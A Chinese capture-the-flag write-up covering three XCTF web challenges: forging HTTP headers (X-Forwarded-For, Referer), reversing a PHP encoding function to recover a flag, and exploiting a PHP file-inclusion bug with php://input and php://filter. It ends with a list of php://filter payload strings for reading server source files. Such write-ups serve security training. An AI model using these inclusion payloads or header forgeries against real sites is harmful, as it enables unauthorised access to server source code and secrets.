题目
https://adworld.xctf.org.cn/challenges/details?hash=cd168887-2438-4370-aeae-cce3329edc82_2&task_category_id=3
![在这里插入图片描述](https://img-blog.csdnimg.cn/3c130e18400645af9e315b0ddda729c6.png)
过程
1.浏览器使用代理
![在这里插入图片描述](https://img-blog.csdnimg.cn/fa92b6e8ff054fa6b79df43be10a694e.png)
2.打开burp suit,拦截页面
![在这里插入图片描述](https://img-blog.csdnimg.cn/c122c86471994fbdb891612969d26737.png)
3.发送到repeater
![在这里插入图片描述](https://img-blog.csdnimg.cn/51f796016ed3414bbb324ffd2d604271.png)
4.添加X-Forwarded-For再发送
![在这里插入图片描述](https://img-blog.csdnimg.cn/57719b268cde4cf39edcf693a78f2eba.png)
![在这里插入图片描述](https://img-blog.csdnimg.cn/d60fb3c75bf24ddc976963e86563ae26.png)
5.添加referer再发送
![在这里插入图片描述](https://img-blog.csdnimg.cn/a74d1020cd064a2abe7591ff123d0bd7.png)
6.在回显页面得到flag
![在这里插入图片描述](https://img-blog.csdnimg.cn/90431b779be345989b6dcb09df48e5e0.png)
总结
http请求头伪造
伪造IP来源
X-Forwarded-For:
伪造url来源
referer:
伪造浏览器
User-Agent:
![在这里插入图片描述](https://img-blog.csdnimg.cn/15242be4b411481189837b6fd8e3a0ea.png)
题目
https://adworld.xctf.org.cn/challenges/details?hash=ebfb48d9-b6db-4f66-a0d3-0784df71111_2&task_category_id=3
![在这里插入图片描述](https://img-blog.csdnimg.cn/2a541f17cd814c159bbc88458e31b940.png)
过程
1.读代码,逆向encode函数,解密 $miwen
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
$_o=strrev($str);//反转字符串str
// echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);//提取字符串_o里的_0,长度为1
$__=ord($_c)+1;//返回字符串_c的ascii值,加1
$_c=chr($__);//从ascii值__返回字符
$_=$_.$_c;//字符串_c连接到字符串_上
}
return str_rot13(strrev(base64_encode($_)));//对_base64编码,然后反转,然后对字符串执行 ROT13 编码。ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
2.写decode函数
function decode($str){
$_o=base64_decode(strrev(str_rot13($str)));
//echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
}
3.运行php代码
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
$_o=base64_decode(strrev(str_rot13($str)));
//echo $_o;
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
}
decode($miwen);
?>
![在这里插入图片描述](https://img-blog.csdnimg.cn/6483c266379e451c978badda708b3edd.png)
题目
https://adworld.xctf.org.cn/challenges/details?hash=21301f1c-17ae-11ed-abf3-fa163e4fa609&task_category_id=3
![在这里插入图片描述](https://img-blog.csdnimg.cn/b9a39e2affc94c12a01558d920b164e8.png)
过程
1.源代码
WRONG WAY! <?php //WRONG WAY说明不应使用GET,应使用POST
include("flag.php");//包含文件flag.php
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))//两个参数file1和file2
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")//file2内容为hello ctf
{
include($file1); //file1有文件包含
}
}
else
die("NONONO");
}
2.使用POST方式,php://input 伪协议,写入file2内容
![在这里插入图片描述](https://img-blog.csdnimg.cn/475858fa9ca14d2181902d2a9fadfeff.png)
3.使用php://filter 伪协议得到flag.php源代码
?file1=php://filter/convert.base64-encode/resource=flag.php
![在这里插入图片描述](https://img-blog.csdnimg.cn/6e392d97c11f4bf29e9b3eaa8d5fa712.png)
4.发送包,回显base64
![在这里插入图片描述](https://img-blog.csdnimg.cn/b25c14c68dfa4607b095e47263ea1f9f.png)
5.解码base64
![在这里插入图片描述](https://img-blog.csdnimg.cn/58894c99f41948bfbe2f4dfae238d6a3.png)
总结
php://filter
利用php的filter机制来得到php源代码。这里假设,构造回显网站根目录下的源代码文件flag.php的payload,获取到对应代码的base64编码
?file=php://filter/convert.base64-encode/resource=flag.php
?file=php://filter/read=convert.base64/resource=flag.php
?file=php://filter?read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php
php://input
使用php://input post 指定内容,常见特征file_put_contents(字符串写入文件函数)
?file=php://input